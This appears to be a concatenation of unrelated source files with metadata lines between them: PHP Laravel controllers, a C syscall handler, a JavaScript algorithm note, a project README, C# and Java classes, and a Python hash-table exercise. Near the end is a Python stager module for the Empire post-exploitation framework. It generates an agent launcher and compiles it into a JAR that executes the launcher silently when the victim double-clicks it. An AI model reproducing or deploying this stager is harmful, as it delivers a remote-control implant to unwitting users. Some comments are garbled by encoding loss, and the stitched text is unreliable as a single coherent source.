<?php namespace App\Http\Controllers; use App\Http\Requests\RegisterAuthRequest; use App\User; use Illuminate\Http\Request; use JWTAuth; use Tymon\JWTAuth\Exceptions\JWTException; use App\imagen; use Illuminate\Support\Facades\Storage; class AuthController extends Controller { public $loginAfterSignUp = true; public function ingresar(){ return "prueba mensaje"; } public function register(Request $request) { $imagen = new imagen(); $user = new User(); $user->name = $request->json("name"); $user->email = $request->json("email"); $user->password = bcrypt($request->json("password")); $image_avatar_b64 = $request->json("imagen"); $img = $this->getB64Image($image_avatar_b64); $img_extension = $this->getB64Extension($image_avatar_b64); $img_name = 'user_avatar' . time() . '.' . $img_extension; Storage::disk('local')->put($img_name, $img); $imagen->imagen = $img_name; $imagen->save(); $id_imagen = imagen::latest('id')->first(); $user->idImagen = $id_imagen->id; $user->save(); /* if ($this->loginAfterSignUp) { return $this->login($request); } */ return response()->json([ 'status' => 'ok', 'data' => $user ], 200); } public function login(Request $request) { $input = $request->only('email', 'password'); $jwt_token = null; if (!$jwt_token = JWTAuth::attempt($input)) { return response()->json([ 'status' => 'invalid_credentials', 'message' => 'Correo o contraseña no válidos.', ], 401); } return response()->json([ 'status' => 'ok', 'token' => $jwt_token, ]); } public function logout(Request $request) { $this->validate($request, [ 'token' => 'required' ]); try { JWTAuth::invalidate($request->token); return response()->json([ 'status' => 'ok', 'message' => 'Cierre de sesión exitoso.' ]); } catch (JWTException $exception) { return response()->json([ 'status' => 'unknown_error', 'message' => 'Al usuario no se le pudo cerrar la sesión.' ], 500); } } public function getAuthUser(Request $request) { $this->validate($request, [ 'token' => 'required' ]); $user = JWTAuth::authenticate($request->token); return response()->json(['user' => $user]); } public function getB64Image($base64_image) { $image_service_str = substr($base64_image, strpos($base64_image, ",") + 1); $image = base64_decode($image_service_str); return $image; } public function getB64Extension($base64_image, $full = null) { // Obtener mediante una expresión regular la extensión imagen y guardarla // en la variable "img_extension" preg_match("/^data:image\/(.*);base64/i", $base64_image, $img_extension); // Dependiendo si se pide la extensión completa o no retornar el arreglo con // los datos de la extensión en la posición 0 - 1 return ($full) ? $img_extension[0] : $img_extension[1]; } public function getImageB64($filename) { //Obtener la imagen del disco creado anteriormente de acuerdo al nombre de // la imagen solicitada $file = Storage::disk('images_base64')->get($filename); // Retornar una respuesta de tipo 200 con el archivo de la Imagen return new Response($file, 200); } }
C
UTF-8
4,731
2.671875
3
[]
no_license
/******************************* int.c ****************************/ /************************************************************************* usp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ---------------------------------------------------------------------------- |uds|ues|udi|usi|ubp|udx|ucx|ubx|uax|upc|ucs|uflag|retPC| a | b | c | d | ---------------------------------------------------------------------------- ***************************************************************************/ /****************** syscall handler in C ***************************/ int kcinth() { int a,b,c,d, r; u16 segment, offset; segment = running->uss; offset = running->usp; a = get_word(segment, offset + 2*13); b = get_word(segment, offset + 2*(13+1)); c = get_word(segment, offset + 2*(13+2)); d = get_word(segment, offset + 2*(13+3)); //==> WRITE CODE TO GET get syscall parameters a,b,c,d from ustack // running->inkmode = 1; //syscalls go to kernel switch(a){ case 0 : r = kgetpid(); break; case 1 : r = kps(); break; case 2 : r = kchname(b); break; case 3 : r = kkfork(); break; case 4 : r = ktswitch(); break; case 5 : r = kkwait(b); break; case 6 : r = kkexit(b); break; case 7: r = getc(); break; case 8: r = kputc(b); break; case 9: r = ufork(); break; case 10: r = uexec(b); break; case 11: kmode(); break; case 12: tsleep(b); break; case 13: usgets(b, c); break; case 14: uputs(b,c); break; //Pipe functions case 30 : r = kpipe(b); break; case 31 : r = read_pipe(b,c,d); break; case 32 : r = write_pipe(b,c,d); break; case 33 : r = close_pipe(b); break; case 34 : r = pfd(); break; case 98: timeclear(); break; case 99: kkexit(b); break; default: printf("invalid syscall # : %d\n", a); } running->inkmode = 0; //returning back to umode //==> WRITE CODE to let r be the return value to Umode put_word(r, segment, offset + 2*8); } //============= WRITE C CODE FOR syscall functions ====================== int kgetpid() { return (running->pid); } int kps() { int i; char *status; printf("=======================================================================\n"); printf("name status " "pid ppid\n"); printf("-----------------------------------------------------------------------\n"); for (i = 0; i < NPROC; i++) { switch(proc[i].status) { case 0 : status = "FREE"; break; case 1 : status = "READY"; break; case 2 : status = "RUNNING"; break; case 3 : status = "STOPPED"; break; case 4 : status = "SLEEP"; break; case 5 : status = "ZOMBIE"; break; } printf("%s " "%s" " %d %d\n", proc[i].name, status, proc[i].pid, proc[i].ppid); } printf("-----------------------------------------------------------------------\n"); printf("-----------------------------------------------------------------------\n"); return 0; } int kchname(char *name) { char c; int i = 0; for (i= 0 ; i < 32; i++) { c = get_byte(running->uss, name + i); //gets bite from running running->name[i] = c; if (c == '\0') break; } return 0; } int kkfork() { kfork("/bin/u1"); //use you kfork() in kernel; //return child pid or -1 to Umode!!! } int ktswitch() { return tswitch(); } int kkwait(int *status) { int ret, code; ret = kwait(&code); //code is the exitcode put_word(code, running->uss, status); //write the exitcode to the runnings user stack space (userMode) //running->status = return(ret); //return the pid of child when killed //use YOUR kwait()) in LAB3; //return values to Umode!!! } int kkexit(int value) { return (kexit(value)); //use your kexit() in LAB3 // do NOT let P1 die } int ufork() { return fork(); } int uexec(char *s) { int i = kexec(s); return i; } int kmode() { body(); } kputc(char c) { putc(c); } int tsleep(char *time) { char c, s[8]; int i = 0, stime; for (i= 0 ; i < 8; i++) { c = get_byte(running->uss, time + i); //gets byte from running s[i] = c; if (c == '\0') break; } if(running->pid <= 1) { printf("Error:Cant sleep on proc 1\n"); return -1; } stime = atoi(s); printf("Going to sleep for %d seconds\n", stime); running->time = stime; ksleep(running->name); }
Markdown
UTF-8
682
3.671875
4
[]
no_license
(19.3.5) # 剑指offer(50)构建乘积数组 **题目描述 给定一个数组A[0,1,...,n-1],请构建一个数组B[0,1,...,n-1],其中B中的元素B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]*...*A[n-1]。不能使用除法。** 思路:杨辉三角,只有自己是1 代码如下: function multiply(array) { if(array.length==0) return []; var brr = []; brr[0]=1; for(var i=1;i<array.length;i++) { brr[i] = brr[i-1]*array[i-1]; } var temp = 1; for(var j = array.length-2;j>=0;j--) { temp = temp * array[j+1]; brr[j] =brr[j]*temp; } return brr; } console.log(multiply([1,2,3]))
Markdown
UTF-8
6,059
3.5625
4
[]
no_license
## MINI-FACE CS 433: Computer Networks Project, under Prof. Sameer Kulkarni Group Members: Dhruvin Patel (18110051), Harsh Patel(18110062), Viraj Shah(18110155) --- ## Table of contents - [Introduction](#introduction) - [Features](#features) - [How To Use](#how-to-use) - [Networking Paradigms](#networking-paradigms) - [Mininet](#mininet) --- ## Introduction Our task was to design and implement a simple internet tool that mimics the functionalities and features of Facebook. We have used Python programming language to implement this project using basic networking principles. --- ## Features Key features that we implemented in this project are- 1. Any client/user can register and set up an account, and is able to login to the created account. 2. The client is able to add/remove a friend. 3. The client can chat with online friends 4. The client is able to upload or delete posts (private and public). 5. The client is able to view timeline. 6. The client is able to view feed. 7. Can browse for new friends, view mutual friends of already existing friends. 8. Security aspects (masked password, server authentication) --- ## How To Use First of all after starting the server, run the client file. python server.py python client.py [For each client] While using the mini-face, at each step, the server provides a list of options to choose from and those particular options can be selecting by simply typing the number associated with them. The server responds on the basis of the response obtained from the client. So, at first, we will be provided with two options: Login or Register. We can type the appropriate number associated with the option that we want. If we choose to register, the server will ask for a username and password, and if the username is already taken, we will have to choos another username, and it will also ask for password confirmation. If we choose to login, the server will ask for username and password, and if the username does not exist, or the password is incorrect, it will show invalid, and we will have to try again. As we login into the mini-face, we will be provided a list of options, each of which can be selected by typing the number indicated with the option. 1: Friends 2: Messages 3: Pending Friend Requests{} 4: Feed 5: Upload post 6: Delete post 7: See your Timeline 0: Exit Mini-Face 1. By selecting the 'Friends' option, we will again be provided with a list of choices as: 1: See your Friends 2: Find new Friends 3: Remove Friends 0: Go to Home Screen Further selecting 'Friends' option, we can see our friends list, selecting option '2', we will further be provided with a list of choices shown below, for which we have to respond with the corresponding number to the task that we want. 1: Search for Friends --> Browse for username and the results matching with the string input will be listed with numbers associated with them, reply with the number associated with the username to send friend request to that user. 2: See Friends of Friends --> We can see the mutual friends of our friends and then choos to send them friend request in the same way as stated above. 0: Go to Friend Options --> Go back to 'Friends' option Similarly, if we select 'Remove Friends' option, the friens list will be shown (only 10 friends), and to view the next 10 friends, we willl have to type '11'. And, to remove the friend, type the number coresponding to that username. 2. By selecting the 'Messages' option, we will be provided a list of 10 friends along with their status (ONLINE/Away), and by typing '11', we will ge list of next 10 friends, and type the number coresponding to the username to initiate a chat session with him/her. We can send new messages, see previous messages or go back, by selecting the corrseponding option number. 3. By selecting the 'Pending Friend Requests' option, we will be shown the list of pending friend requests each with a number associated with it. Type the corresponding number to get an option of Accept (type 'y') /Delete (type 'n') that particular friend request, or we can type '0' to ignore all friend requests and go back. 4. By selecting the 'Feed' option, we can see the global posts of our friends with timestamp attached with each post, and these feed will show the latest posts first (4 posts at a time), and type '1' to view the previous 4 posts. 5. By selecting the 'Upload post' option, we can type the content of the post to be uploaded (maximum 125 characters). After that, we will be asked if we want the post to be private or global, and we can select that by typing the appropriate number. Also, a timestamp gets attached to it. 6. By selecting the 'Delete post' option, the timeline will be shown (4 posts at a time), type '1' to see next 4 posts. Now, select the post number to delete that post. 7. By selecting the 'See Your Timeline' option, the timeline will be shown (4 posts at a time), type '1' to see next 4 posts. Timestamp is also visible against each post and whether the post is private or global is also shown. At any stage, typing '0' will bring back to the home-screen page of the mini-face. Please note that replying with an empty string at any step while the mini-face is running, will result in an error. (So, do not send response as an empty string) --- ## Networking Paradigms ### Logical Flow <p align="center"> <img width="500" src="Logical FLow.png"> </p> ### Class Diagrams <p align="center"> <img width="500" src="Class Diagrams.png"> </p> ### Use-Cases <p align="center"> <img width="500" src="Use-Case.png"> </p> --- ## Mininet We used the Mininet Topology to automate and create a large number of user base (Client nodes). We use a Simple Tree topology with Depth=5 that allows us to have up to a total of 32 leaf hosts. The implementation can cbe seen in the custom_topo.py in the root folder. Server: server_mini.py Client: client_mini.py We use mininet_helper.py to build the input functions for the client hosts that caonnect to through the Mininet and set up a new account. ---
PHP
UTF-8
8,061
2.53125
3
[]
no_license
<?php namespace App\Http\Controllers\Api; use App\Http\Controllers\Controller; use App\BiogMain; use App\OfficeCode; use App\OfficeCodeTypeRel; use App\OfficeTypeTree; use App\Operation; use App\Repositories\BiogMainRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\DB; use Auth; use App\v1; class OperationsController extends Controller { public function add(Request $request) { //用來將json存入operations $x = $this->add_operations($request); return $x; } public function update(Request $request) { //要製作update_operations $x = $this->update_operations($request); return $x; } public function del(Request $request) { //要製作destroy_operations $x = $this->destroy_operations($request); return $x; } public function add_operations($keyword) { $z = $keyword['token']; $token = DB::table('users')->where('confirmation_token', $z)->get(); $token = json_decode($token,true); $token = $token[0]['id']; if(empty($token)) { return '500'; } $x = $keyword['json']; if(empty($x)) { return '500'; } $y = $keyword['resource']; if(empty($y)) { return '500'; } $operation = new Operation(); $operation->resource = $y; $operation->resource_data = $x; $operation->user_id = $token; //這邊要規劃由token取值. $operation->crowdsourcing_status = 2; $operation->op_type = 1; //crowdsourcing_status欄位值說明 //0.專業用戶修改紀錄 //1.crowdsourcing記錄並已插入數據庫 //2.crowdsourcing記錄還沒有被處理 //3.crowdsourcing記錄reject $message = $operation->save(); $msgArray['status_code'] = 200; $msgArray['message'] = "if you submitted a new person/address/office... id, it might be changed by auto increment primary key mechanism, when your data will be approved. Please contact CBDB project manager, if you want to customize the id. 您提交的數據中若包含新人名/地名/官名等 id,這些 id 可能在這條記錄被確認匯入系統之後發生改變。因此,如果您希望將這些 id 設定為固定值,請聯絡 CBDB 項目經理。"; $message ? $message=$msgArray : $message='500'; return $message; } public function update_operations($keyword) { $z = $keyword['token']; $token = DB::table('users')->where('confirmation_token', $z)->get(); $token = json_decode($token,true); $token = $token[0]['id']; if(empty($token)) { return '500'; } $x = $keyword['json']; if(empty($x)) { return '500'; } $y = $keyword['resource']; if(empty($y)) { return '500'; } //20191224增加判斷式,開放其他API進入。 if($y == "BIOG_MAIN") { $c_personid = $keyword['c_personid']; $resource_id = $c_personid; if(empty($c_personid)) { return '500'; } $BiogMainRepository = new BiogMainRepository(); $ori = $BiogMainRepository->byPersonId($c_personid); } else { $pId = $keyword['pId']; $c_personid = ""; $resource_id = $pId; switch ($y) { case "OFFICE_CODES": $ori = OfficeCode::find($pId); break; case "OFFICE_CODE_TYPE_REL": $temp_l = explode("-", $pId); $ori = OfficeCodeTypeRel::where('c_office_id', $temp_l[0])->where('c_office_tree_id', $temp_l[1])->first(); break; case "OFFICE_TYPE_TREE": $ori = OfficeTypeTree::find($pId); break; default: $ori = null; break; } } $operation = new Operation(); $operation->resource = $y; $operation->c_personid = $c_personid; $operation->resource_id = $resource_id; $operation->resource_data = $x; $operation->resource_original = $ori; $operation->user_id = $token; //這邊要規劃由token取值. $operation->crowdsourcing_status = 2; $operation->op_type = 3; $message = $operation->save(); $message ? $message='200' : $message='500'; return $message; } public function destroy_operations($keyword) { $z = $keyword['token']; $token = DB::table('users')->where('confirmation_token', $z)->get(); $token = json_decode($token,true); $token = $token[0]['id']; if(empty($token)) { return '500'; } $y = $keyword['resource']; if(empty($y)) { return '500'; } //20191224增加判斷式,開放其他API進入。 if($y == "BIOG_MAIN") { $c_personid = $keyword['c_personid']; $resource_id = $c_personid; if(empty($c_personid)) { return '500'; } $BiogMainRepository = new BiogMainRepository(); $ori = $BiogMainRepository->byPersonId($c_personid); $biog = BiogMain::find($c_personid); $biog->c_name_chn = '<待删除>'; } else { $pId = $keyword['pId']; $c_personid = ""; $resource_id = $pId; $ori = null; switch ($y) { case "OFFICE_CODES": $biog = OfficeCode::find($pId); break; case "OFFICE_CODE_TYPE_REL": $temp_l = explode("-", $pId); $biog = OfficeCodeTypeRel::where('c_office_id', $temp_l[0])->where('c_office_tree_id', $temp_l[1])->first(); break; case "OFFICE_TYPE_TREE": $biog = OfficeTypeTree::find($pId); break; default: $biog = null; break; } } $operation = new Operation(); $operation->resource = $y; $operation->c_personid = $c_personid; $operation->resource_id = $resource_id; $operation->resource_data = $biog; $operation->resource_original = $ori; $operation->user_id = $token; //這邊要規劃由token取值. $operation->crowdsourcing_status = 2; $operation->op_type = 4; $message = $operation->save(); $message ? $message='200' : $message='500'; return $message; } public function storeProcess(Request $request) { //20190531這邊要取得table名稱, 規劃建置switch case來處理各種儲存 $id = $request['id']; DB::table('operations')->where('id', $id)->update(array('crowdsourcing_status' => 1)); $data = DB::table('operations')->where('id', $id)->get(); $data = json_decode($data,true); $data = $data[0]['resource_data']; $data = json_decode($data,true); $new_id = BiogMain::max('c_personid') + 1; $new_ttsid = BiogMain::max('tts_sysno') + 1; $data['c_personid'] = $new_id; $data['tts_sysno'] = $new_ttsid; $message = BiogMain::create($data); $message ? $message='200' : $message='500'; return $message; } public function token(Request $request) { $user_id = $request->q; $user_password = $request->p; //呼叫這行就可以進行帳號與密碼的認證了 if (Auth::attempt(['email' => $user_id, 'password' => $user_password])) { $data = DB::table('users')->where('email','=',$user_id)->get(); foreach($data as $item){ if($item->is_admin != 2) { return "帳號須為眾包身分,才可以取得token。"; } $data = $item->confirmation_token; } return $data; } else { return "您的帳號與密碼輸入錯誤"; } } }
C#
UTF-8
1,525
2.5625
3
[]
no_license
using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Property.Entity { /// <summary> /// 市表 /// </summary> public class M_City { public M_City() { this.Counties = new HashSet<M_County>(); this.PropertyPlaces = new HashSet<T_PropertyPlace>(); } /// <summary> /// 主键Id /// </summary> [Key] public int Id { get; set; } /// <summary> /// 市名称 /// </summary> [MaxLength(50)] [Required] public string CityName { get; set; } /// <summary> /// 市编号 /// </summary> [MaxLength(30)] public string CityNo { get; set; } /// <summary> /// 所属省份 /// </summary> public int ProvinceId { get; set; } /// <summary> /// 所属省份ID关联表对象 /// </summary> [ForeignKey("ProvinceId")] public virtual M_Province Province { get; set; } /// <summary> /// 该市下所有的县区 /// </summary> public virtual ICollection<M_County> Counties { get; set; } /// <summary> /// 该市下所有的物业小区 /// </summary> public virtual ICollection<T_PropertyPlace> PropertyPlaces { get; set; } } }
Java
UTF-8
496
1.695313
2
[]
no_license
package com.zuul; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cloud.netflix.zuul.EnableZuulProxy; import org.springframework.context.annotation.ComponentScan; @EnableZuulProxy @SpringBootApplication @ComponentScan({"com.zuul","com.security"}) public class ZuulNetflixApplication { public static void main(String[] args) { SpringApplication.run(ZuulNetflixApplication.class, args); } }
Java
UHC
490
3.4375
3
[]
no_license
package ch01; public class VariableVsConstanceExam { public static void main(String[] args) { // TODO Auto-generated method stub // ÿ ʱȭ //Ÿ =; int x=10; // //Ÿ ; int y; // ʱȭ //=; y=20; // x ʱⰪ 20 Ͽ x=20; System.out.println(x+y); } }
Markdown
UTF-8
8,497
3.5
4
[]
no_license
# User Guide Duke is an **interactive desktop app used to keep track of tasks to be completed**. It is optimized for use through a **Command Line Interface** (CLI) while providing a minimalistic and elegant Graphical User Interface (GUI). If you can type fast and wish to keep track of tasks this way, then this might be the app for you! ## Quick Start 1. Ensure you have Java 11 or above installed in your computer. 2. Download "Duke.jar" from [here](https://github.com/chan-j-d/ip/releases). 3. Copy the file to the desired location where you would normally access it. 4. Double-click the file to start the app. The GUI will look similar to the image below. Upon using it for the first time, a new folder named "data" will be created in the same directory in order to store task data. <br /> ![Ui](images/UiFirstOpen.png) 5. Type the command in the text box and press Enter to execute the command. You can begin by trying the few commands in-order below. 1. <code>todo some task</code>: Adds a todo-task <code>some task</code>. 2. <code>list</code>: Lists all current task. You should see "some task" added in step 1. 3. <code>done 1</code>: Marks the 1st task. In this case, it is the todo-task "some task". 4. <code>list</code>: Lists all current task. Notice that the task is now marked as complete. 5. <code>delete 1</code>: Deletes the 1st task. 6. <code>bye</code>: Closes the app. 6. Refer to the [features](https://github.com/chan-j-d/ip/tree/master/docs#features) below for more commands and the details of each command. ## Features Note the following about the command format: - The first word of the command is always the command identifier. e.g. <code>{identifier} {details}</code> where <code>{identifier}</code> is a single word identifying the command type. - Commands are case-sensitive. e.g. for the command <code>todo</code>, <code>TODO</code> and <code>tOdO</code> will not be recognised. - Fields in curly braces such as <code>{description}</code> are for you to specify the input. - Note further command format specifications for the individual commands. ### General commands #### Listing tasks: <code>list</code> Shows all tasks that have been added to Duke. Format: <code>list</code> #### Finding tasks: <code>find</code> Finds tasks with description containing the given word or phrase. Format: <code>find {keyword or phrase}</code> - The search is case-sensitive. e.g. <code>TASK</code> will not match <code>task</code>. - The search will find exact matches of the keyword or phrase provided. e.g. <code>one t</code> will find <code>one time</code> but not <code>onetime</code> or <code>t one</code>. Example: - <code>find CS2103</code> finds all tasks with <code>CS2103</code> in its description Outcome: - A list of tasks will be sent by Duke. The format resembles that of the <code>list</code> command. #### Exiting the app: <code>bye</code> Exits the app. Format: <code>bye</code> ### Add commands Below are commands that add different types of tasks and their details. #### Adding ToDo-type task: <code>todo</code> Adds a task with a description that needs to be completed. Format: <code>todo {description}</code> - <code>{description}</code> cannot be empty. Examples: - <code>todo CS2103 Individual Project</code> Adds a todo-task with description <code>CS2103 Individual Project</code>. Outcome: - A todo-task is added. The task can be seen when the <code>list</code> command is called. It will appear with the identifier <code>[T]</code> for todo. #### Adding Deadline-type task: <code>deadline</code> Adds a task with a description and a deadline. Format: <code>deadline {description} /by {deadline}</code> - The <code>{deadline}</code> must be specified. - The <code>{deadline}</code> is of the format <code>DD-MM-YYYY HHmm</code>. Examples: - <code>deadline Individual Project /by 18-09-2020 2359</code> Adds a deadline with description <code>Individual Project</code> and deadline at <code>18-09-2020 2359</code>. Outcome: - A deadline is added. The task can be seen when the <code>list</code> command is called. It will appear with the identifier <code>[D]</code> for deadline. #### Adding Event-type task: <code>event</code> Adds a task with a description, a start timing and an end timing. Format: <code>event {description} /at {timings}</code> - The <code>{timings}</code> must be specified. - The <code>{timings}</code> is of the format <code>DD-MM-YYYY HHmm-DD-MM-YYYY HHmm</code> **or** <code>DD-MM-YYYY HHmm-HHmm</code> if the start and end timings are on the same day. - The start timing must come before the end timing. Examples: - <code>event CS2103 Lecture /at 18-09-2020 1600-1800</code> Adds an event with description <code>CS2103 Lecture</code>, start timing at <code>18-09-2020 1600</code> and end timing at <code>18-09-2020 1800</code>. - <code>event Recess Week /at 19-09-2020 0000-27-09-2020 2359</code> Adds an event with description <code>Recess Week</code>, start timing at <code>19-09-2020 0000</code> and end timing at <code>27-09-2020 2359</code>. Outcome: - An event is added. The task can be seen when the <code>list</code> command is called. It will appear with the identifier <code>[E]</code> for event. #### Adding recurring tasks: <code>-r</code> Adds a recurring task which recurs based on the specified interval. Task must be a deadline or event. Format: <code>{recurring task specification} -r {interval}</code> - <code>{recurring task specification}</code> must be a full command for adding either a deadline or event. e.g. <code>deadline CS2103 IP /by 18-09-2020 2359 -r {interval}</code> - <code>{interval}</code> is of the form <code>XO</code> where - <code>O</code> refers to the interval specifier. The specifier is not case-sensitive. - <code>D</code> for day - <code>W</code> for week - <code>M</code> for month - <code>Y</code> for year - <code>X</code> refers to the multiplier - Multiplier must be a positive integer. e.g. 1, 2, ... - Multiplier is optional. If a multiplier is not specified, it is set to 1. - The recurring task only recurs when Duke is opened after the end-timing for the recurring task. The task will be pushed back by multiples of the recurring interval until the end timing exceeds the current time. It is marked as undone regardless of the original completion status. Example: - <code>deadline weekly assignment /by 17-09-2020 2359 -r W</code> Adds a recurring deadline with description <code>weekly assignment</code>, first deadline at <code>17-09-2020 2359</code> and recurring interval of 1 week. - <code>event project meeting /at 16-10-2020 1400-1600 -r 2D</code> Adds a recurring event with description <code>project meeting</code>, first event on <code>16-10-2020</code> from <code>1400-1600</code> and recurs every 2 days. Outcome: - The recurring tasks is added to the list. The recurring task can be identified by the <code>(Recurring: {interval})</code> at the end of the task. ### State-changing commands #### Completing a task: <code>done</code> Marks a task as complete. Format: <code>done {index}</code> - <code>{index}</code> must be a positive integer. e.g. 1, 2, ... - <code>{index}</code> index refers to the number shown on the task when the <code>list</code> command is used. Example: - <code>done 2</code> Marks the 2nd task shown by the <code>list</code> command as done. Outcome: - If the task was previously undone (denoted with the symbol ✘), then that task is now marked as done (with the symbol ✓). #### Deleting a task: <code>delete</code> Deletes a task from the list. Format: <code>delete {index}</code> - <code>{index}</code> must be a positive integer. e.g. 1, 2,... - <code>{index}</code> index refers to the number shown on the task when the <code>list</code> command is used. Outcome: - The task at <code>{index}</code> will be removed from the list and is no longer shown when the <code>list</code> command is used. ## Command summary Action | Format ---------|----------- **List** | <code>list</code> **Find** | <code>find {keyword or phrase}</code> **Exit** | <code>bye</code> **ToDo** | <code>todo {description}</code> **Deadline** | <code>deadline {description} /by {deadline}</code> **Event** | <code>event {description} /at {timings}</code> **Recurring Task** | <code>{recurring task specification} -r {interval}</code> **Done** | <code>done {index}</code> **Delete** | <code>delete {index}</code>
Java
UTF-8
234
1.648438
2
[]
no_license
package xueqiao.trade.hosting.quot.dispatcher.client; import xueqiao.quotation.QuotationItem; public interface IQuotationCallback { public void onReceivedQuotationItem(String platform, String contractSymbol, QuotationItem item); }
Java
UTF-8
298
2.75
3
[]
no_license
package com.exception; public class Excpt3 { static void one(){ try{ two(); }catch(ArithmeticException e){ System.err.println(e.getMessage()); } } static void two(){ throw new ArithmeticException("Roshan exception"); } public static void main(String[] args) { one(); } }
C++
UTF-8
423
2.59375
3
[]
no_license
#include<bits/stdc++.h> using namespace std; double dis(double,double,double,double); int main(){ double x1,x2,x3,y1,y2,y3; cin>>x1>>y1>>x2>>y2>>x3>>y3; double dis1,dis2,dis3; dis1=dis(x1,y1,x2,y2); dis2=dis(x2,y2,x3,y3); dis3=dis(x1,y1,x3,y3); double dist=dis1+dis2+dis3; printf("%.2lf",dist); } double dis(double a,double b,double c,double d){ return sqrt(pow((d-b),2)+pow((c-a),2)); }
C
UTF-8
375
2.75
3
[]
no_license
#include <stdio.h> #include <unistd.h> #include "error_functions.h" #define BUF_SIZE 1024 char buf[BUF_SIZE]; int count = 0; int main() { if(setvbuf(stdout, buf, _IONBF, BUF_SIZE) != 0) errExit("setvbuf"); printf("123213"); while(1) { printf("123"); sleep(1); if(((count ++) % 10) == 0) printf("\n"); } }
Python
UTF-8
1,635
3.03125
3
[]
no_license
from __future__ import annotations from collections import deque from typing import Iterable from hashtable import BLANK, KT, VT, HashTable class ChainingHashTable(HashTable): """HashTable implementation which resolves collisions by chaining.""" def __init__(self, initial_capacity: int = 8, maximum_load_factor: float = 1.0) -> None: super().__init__(initial_capacity, maximum_load_factor) def items(self) -> Iterable[tuple[KT, VT]]: for bucket in self._buckets: if bucket is BLANK: continue yield from bucket def __getitem__(self, search_key: KT) -> VT: index = hash(search_key) % self._capacity # TODO: Loop over the deque to find the value matching the search key. # Raise KeyError if the search key is not present. ... def __setitem__(self, input_key: KT, input_value: VT): index = hash(input_key) % self._capacity if self._buckets[index] is BLANK: self._buckets[index] = deque() # TODO: Insert input_key and input_value, or update if already present. # Update self._num_elements as needed. ... if self._load_factor > self._maximum_load_factor: # Maximum load factor exceeded, increase size of table self._resize() def __delitem__(self, key: KT): index = hash(key) % self._capacity # TODO: Remove the appropriate key value pair from the deque. If the deque is empty replace it with BLANK. # Update self._num_elements as needed. # Raise KeyError if the key is not present. ...
Shell
UTF-8
500
3.328125
3
[]
no_license
#!/usr/bin/env bash /waitforit -host ${MYSQL_PORT_3306_TCP_ADDR} -port=3306 -timeout=120 # If this is the first time we have run this container, update place holder to env vars in config files if [ ! -e /opt/semaphore/semaphore_config.json ]; then echo "Starting first run actions" sed -i s/MYSQL_IP_ADDR/mysql/ /var/lib/semaphore/semaphore_config.* semaphore -setup < /var/lib/semaphore/semaphore_config.stdin fi # Start the container semaphore -config /opt/semaphore/semaphore_config.json
Java
UTF-8
903
3.28125
3
[]
no_license
package stack___1; import linkedList_____1.Node; public class StackUsingLL<T> { private Node<T> head; private int size; public StackUsingLL(){ head=null; size=0; } public int size() { return size; } public boolean isempty() { if(size==0) { return true; } return false; } public void push(T elem) { Node<T> toadd=new Node<>(elem); // if(head==null) { // head=toadd; //// return; // }else { toadd.next=head; head=toadd; // } size++; } public T top() throws StackEmptyException { if(head==null) { // StackEmptyException e=new StackEmptyException(); // throw e; // we can do the above thing or throw new StackEmptyException(); } return head.data; } public T pop() throws StackEmptyException { if(head==null) { throw new StackEmptyException(); } T ans=head.data; head=head.next; size--; return ans; } }
Python
UTF-8
4,757
2.71875
3
[]
no_license
#Jar file stager for Empire from lib.common import helpers import subprocess class Stager: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'JAR', 'Author': ['Andrew @ch33kyf3ll0w Bonstrom'], 'Description': ('Generates a Jar file that will execute the Empire agent.'), 'Comments': ['Assuming Java is installed, end users can double click to execute.'] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Listener' : { 'Description' : 'Listener to generate stager for.', 'Required' : True, 'Value' : '' }, 'OutFileName' : { 'Description' : 'Name of Jar file.', 'Required' : True, 'Value' : 'launcher' }, 'OutDirName' : { 'Description' : 'Directory to output compiled Jar file to.', 'Required' : True, 'Value' : '/tmp/' }, 'Base64' : { 'Description' : 'Switch. Base64 encode the output.', 'Required' : True, 'Value' : 'True' }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'Proxy' : { 'Description' : 'Proxy to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'ProxyCreds' : { 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): # extract all of our options listenerName = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] directoryName = self.options['OutDirName']['Value'] fileName = self.options['OutFileName']['Value'] encode = False if base64.lower() == "true": encode = True # generate the launcher code launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) if launcher == "": print helpers.color("[!] Error in launcher command generation.") return "" elif directoryName[-1] != "/": print helpers.color("[!] Error in OutDir Value. Please specify path like '/tmp/'") return "" else: #Create initial Java String with placeholder javaCode = '''import java.io.*; public class fileName { public static void main(String args[]) { try { Process p=Runtime.getRuntime().exec("launcher"); } catch(IOException e1) {}}} ''' #Replace String placeholder with launcher javaCode = javaCode.replace("launcher", launcher).replace("fileName", fileName) #Create Java and Manifest.txt files for compiling with open(directoryName + fileName + ".java", "w") as javaFile: javaFile.write(javaCode) with open(directoryName + "manifest.txt", "w") as manifestFile: manifestFile.write('Main-Class: ' + fileName + '\n') #Create necessary directory structure, move files into appropriate place, compile, and delete unncessary left over content proc = subprocess.call("cd "+ directoryName + "&&javac fileName.java&&jar -cvfm fileName.jar manifest.txt fileName.class&&rm -f fileName.class manifest.txt fileName.java".replace ("fileName", fileName, 5), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) return "Your file " + fileName + ".jar was successfully generated and placed within " + directoryName +"."
C++
GB18030
2,400
2.8125
3
[]
no_license
